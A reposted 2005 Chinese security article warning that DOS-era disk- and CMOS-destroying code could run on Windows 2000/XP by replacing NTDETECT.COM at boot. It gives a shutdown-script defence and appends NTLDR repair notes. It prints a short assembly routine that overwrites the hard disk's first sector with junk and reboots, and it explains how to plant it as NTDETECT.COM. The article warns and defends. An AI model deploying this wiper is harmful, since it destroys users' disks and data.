老病毒再现新系统--警惕恶意代码死灰复燃,(NTDETECT.EXE,NTDETECT.COM)

时间:2005-5-14 作者:张云帆
    
 
       在DOS/Win3.x/Win9x时代,令人谈之色变的病毒数不胜数。有很多病毒具有能够破坏硬盘分区,篡改引导程序,毁坏CMOS数据的能力。它们轻则使磁盘的数据化为乌有,重则使系统无法识别分区,无法进入DOS或者Win9x,甚至还能让微机无法正常启动。不知道当年有多少用户,被臭名昭著的硬盘逻辑锁,CIH折腾得焦头烂额。
 
 
       然而,幸运的是,进入Win2000/XP/2003时代以后,由于系统是工作在保护模式之下的,对于一切调用BIOS中断功能以修改硬盘或者是直接对硬件端口进行操作的程序,系统都拒绝执行。比如说这样一个16位程序(名为test1.com,初始指令指针为0x100):
mov ax,301
mov bx,300
mov cx,9
mov dx,80
int 13
ret
(上面代码中的数据均为16进制数)
 
       它试图利用BIOS的磁盘控制中断功能直接对硬盘进行写操作,一旦在Win2000/XP/2003下运行,系统会弹出这一个错误信息。( 有兴趣的自己可以把文件保存成test.com,运行一下试试
                       
       此时,无论是点击“关闭”,还是点击“忽略”,这个程序对BIOS功能调用的尝试都会被系统强行终止。而在DOS/Win3.x/Win9x时代,那些破坏硬盘分区、篡改引导程序之类的病毒,往往会调用前文中test1.com所调用的磁盘控制BIOS功能。因此这些病毒如果直接运行在Win2000/XP/2003系统之上,它们将会无功而返。
 
       再比如,这样一个32位程序(名叫port.c用VC++编译后生成port.exe):
 
#include<stdio.h>
main()
{
   printf("It is only for test!/n");
        __asm
   {
          push eax
mov al,4
          out 0x70,al
          mov al,1
          out 0x71,al
          mov al,2
          out 0x70,al
          mov al,2
          out 0x71,al        
          mov al,0
          out 0x70,al
          mov al,3
          out 0x71,al
          pop eax
   }
return 0;
  
}
 
 
       它试图通过直接进行端口操作来修改CMOS的时间(如果运行成功,时间将被改为01:02:03)。一旦在Win2000/XP/2003下运行,系统会弹出这样一个报错提示。( 有兴趣的自己可以把文件保存成test.com,运行一下试试
 
       可以看出它试图修改CMOS的举动也同样被拒绝了。因此,那些在老系统中通过端口操作来毁坏CMOS数据的病毒在新系统下只能望“窗”兴叹了。
 
 
       看来这类直接破坏硬盘、CMOS的病毒在Win2000/XP/2003下真是过时了。而现在主流的操作系统正是Win2000/XP/2003,大家似乎不用再害怕这些DOS/Win3.x/Win9x病毒了。
 
 
       看到这儿一定会有人情不自禁地说:这些病毒老矣,没用了!不过别高兴的太早了!在特定的情况下,这些能够破坏硬盘、CMOS数据的病毒的功能可以再现于在Win2000/XP/2003系统,完成其害人的勾当。所以本文提醒大家:警惕这些病毒死灰复燃!
 
 
       那么读者一定会问,刚才不是说Win2000/XP/2003是工作在保护模式下的吗?怎么会怕这种能够破坏硬盘、CMOS数据的病毒呢?没错,在Win2000/XP/2003启动完成之后,的确工作在保护模式下,但在刚开始启动时有一个短暂的“危险期”。此时,Win2000/XP/2003会首先加载C:/Ntldr,加载完成后会出现供用户选择系统的画面(如果不是多系统,该画面会很快跳过)。
 
       当用户在自己选定的Win2000/XP/2003系统上按下回车后,系统会加载C:/NTDETECT.COM文件(如果不是多系统,则Windows不等用户按回车自动加载C:/NTDETECT.COM文件)。问题恰恰出在这里。在刚启动到如图3所示的时候,系统还没有进入保护模式,如果恶意破坏硬盘、CMOS数据的程序在这个时候运行,那用户就遭殃了。这绝非杞人忧天之虑,虽然这个时候无论是远程还是本地都无法随意运行程序,但是,如果用户新近上网时不慎被病毒用一个同样叫NTDETECT.COM的恶意程序覆盖了C盘下正常的NTDETECT.COM文件,那么当下次启动Windows,进入供用户选择系统的画面,选择了进入某个Win2000/XP/2003系统时,只要他一按回车,那个恶意的NTDETECT.COM就会运行。
 
 
      下面举个例子:
       比如说这样一个代码(设定初始指令指针为0x100):
lea bx,[300]
mov dl,2
mov cl,ff
mov dh,0
mov [bx],dh
inc bx
dec cl
cmp cl,0
jnz 108
dec dl
cmp dl,0
jnz 106
mov ax,301
mov bx,300
mov cx,1
mov dx,80
int 13
jmp ffff:0
ret
(上面程序中的数据均为16进制数)
 
 
       它试图用一些垃圾数据来覆盖硬盘最重要的扇区。如果用它生成了bin格式的可执行程序并且命名为NTDETECT.COM,并通过某种途径用此程序将正常的C:/NTDETECT.COM覆盖;那么启动时便会被加载,接下来系统会自动重启,之后用户就无法从硬盘启动,用其他介质启动也无法访问硬盘。
 
         如果含有直接破坏硬盘,修改CMOS数据之类的恶意代码的病毒用这样一种方法攻击系统,那么它们这些过了时的恶意代码便可以在Win2000/XP/2003系统下重出江湖了这个安全隐患虽然不明显,但绝对有可能带来毁灭性的后果。不过,常言道:魔高一尺、道高一丈,这种病毒再厉害也能对付它!
 
 
下面就介绍一种方法:
 
       首先,将正常的NTDETECT.COM备份在一个安全的目录下(这里将它备份在d:/tmp里)。
 
       然后用快捷键“Win”(“ctrl”与“alt”中间那个键)+“R”打开运行(或者开始-运行),并在其中输入gpedit.msc。回车确认后,“组策略”将被打开。 
选中“计算机配置”—> “Windows设置”—> “脚本(启动/关闭)”这一项,在右边双击“关机”,之后会出现图1:
 

                图 1 
选择添加,然后输入脚本名(此处是shut.bat)。
 

                图 2 
在出现图7时点“浏览”,再在出现的对话框中将文件类型选为所有类型,再右击对话框的空白处,新建一个文本文档(如图3)
 

                       图 3
 
再将新建文件命名为shut.bat,接下来右击shut.bat,选择编辑。之后按图4编辑shut.bat:
 

               图 4
 
最后保存退出。另外顺便说一下,在命名新建的文档文本(图3后面的操作)之前,一定要在“文件夹选项”—>“查看”中把
“隐藏已知文件类型扩展名”这一项前面的勾去掉(如图5)。
 

             图 5 
       这样一来,每次关机时系统都会用一个正常的NTDETECT.COM来覆盖C盘下的原文件。因此,即使用户在线时,正常的NTDETECT.COM被恶意代码所覆盖,关机时正常的程序会被还原,下次启动时就不存在恶意代码问题了。
 
 
      Win2000/XP/2003虽然工作在保护模式下,但依然会受到那些在DOS/Win3.x/Win9x时代病毒的威胁,死灰复燃的病毒仍旧具有很大的杀伤力,大家应该随时保持警惕。
 
 
后记:
       前一段时间,网上流行过一种名为:NTDETECT.EXE的病毒。这种病毒会进入C盘根目录并形成一个NTDETECT.EXE文件;而在默认情况下,Windows系统是不显示扩展名的(就是把NTDETECT.EXE以及NTDETECT.COM都显示为NTDETECT),如此一来,这个病毒就伪装成了系统文件(用户在C盘下会看到两个NTDETECT文件,NTDETECT.EXE就伪装成了NTDETECT.COM),那么在用户不知情的情况下,它被删除的概率就大大降低了。
 
 
       见到这个病毒,笔者不禁猜想:假如病毒不是用NTDETECT.EXE来伪装成NTDETECT.COM,而是用名为NTDETECT.COM的恶意代码直接覆盖了原有的NTDETECT.COM那会怎样呢?那后果真是不堪设想,所以笔者想通过本文来提醒大家。(作者单位  北京邮电大学电信工程学院)

 

今天发现自己的c:/目录下也有NTDETECT.EXE文件,就找到了这篇文章,留给大家参考。

NTLDR文件是win nt/win200/WinXP的引导文件,当此文件丢失时启动系统会提示"NTLDR is missing..."并要求按任意键重启动,不能正确进入系统 。所以应该在系统正常的时候给予备份。 NTLDR文件是做什么的?我们如何来修复NTLDR文件类型的故障呢? NTLDR文件的是一个隐藏的,只读的系统文件,位置在系统盘的根目录,用来装载操作系统。 一般情况系统的引导过程是这样的: 代码 1、电源自检程序开始运行 2、主引导记录被装入内存,并且程序开始执行 3、活动分区的引导扇区被装入内存 4、NTLDR从引导扇区被装入并初始化 5、将处理器的实模式改为32位平滑内存模式 6、NTLDR开始运行适当的小文件系统驱动程序。 小文件系统驱动程序是建立在NTLDR内部的,它能读FAT或NTFS。 7、NTLDR读boot.ini文件 8、NTLDR装载所选操作系统 *如果NT/XP被选择,, NTLDR运行Ntdetect.com 对于其他的操作系统NTLDR装载并运行Bootsect.dos然后向它传递控制。 windows NT过程结束。 9.Ntdetect.com 搜索计算机硬件并将列表传送给NTLDR,以便将这些信息写进HKE Y_LOCAL_MACHINEHARDWARE中。 10.然后NTLDR装载Ntoskrnl.exe,Hal.dll和系统信息集合。 11.Ntldr搜索系统信息集合,并装载设备驱动配置以便设备在启动时开始工作 12.Ntldr把控制权交给Ntoskrnl.exe,这时,启动程序结束,装载阶段开始 当此文件丢失时,我们可以从安装光盘上进行提取,方法是: 1、进入系统故障恢复控制台。 2、转到C盘。 3、输入"copy X:\I386\NTLDR c:\"(说明:X为光驱盘符)并回车, 如果系统提示要否覆盖则按下"Y",之后输入exit命令退出控制台重启动即可。 症状 当试图在一台运行 Microsoft Windows 95、Microsoft Windows 98 或 Microsoft Windows Millennium Edition (Me) 的计算机上安装 Windows XP 或者升级到 Windows XP 时,可能在安装过程中的第一次重启动后接收到下面的错误信息: NTLDR is missing Press any key to restart 此行为只有当 Windows 95、Windows 98 或者 Windows Me 安装于使用 FAT32 文件系统的大容量驱动器之上时才会出现。 原因 如果克隆现有的 Windows 95、Windows 98 或 Windows Me 的安装,然后应用于与克隆副本的源驱动器有不同布局的驱动器上,则可能发生此行为。 一种可能的情况如下所示:正在一个 4 GB 的驱动器上运行 Windows 98。在升级后,例如升级到一块 30 GB 的硬盘后,使用第三方磁盘映像实用程序对 Windows 98 安装进行镜像操作并应用镜像到驱动器上。在晚些时候,接着在 Windows 98 的克隆映像上安装 Windows XP 以升级到 Windows XP。 要发生此行为,则下面的条件必须存在: ? 系统/启动分区用 FAT32 文件系统格式化。 ? 计算机通过使用 INT-13 扩展(大于 7.8 GB 且分区表内有 0C 的 System-ID 类型的分区)启动。 ? 由于克隆过程,造成了 FAT32 BIOS Parameter Block (BPB) 中的头(边)值与物理驱动器的布局不匹配。 Windows 95、Windows 98 或者 Windows Me 启动代码忽略 BPB 中的头值,并且即使在值无效时仍启动程序。但是,Windows 2000 和 Windows XP 中的启动代码需要这个值,如果此值无效则启动过程不会成功。 解决方案 若要解决此问题,请改正 FAT32 BPB 中的无效头(边)值以使得 Windows XP 启动过程得以继续。更此字段最简单的方法是通过使用下面的过程重写 Windows 95、Windows 98 或者 Windows Me 的启动代码: 代码 一. 使用包含 Sys.com 文件(默认情况下包含此文件)的 Windows 95、Windows 98 或者 Windows Me 启动盘重启动计算机。 二. 在系统驱动器的根目录中制作 msdos.sys 文件的备份副本。为此,请从命令提示处键入下面的命令: attrib -h -r -s c:\msdos.sys rename msdos.sys *.sys 三. 在命令提示符
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值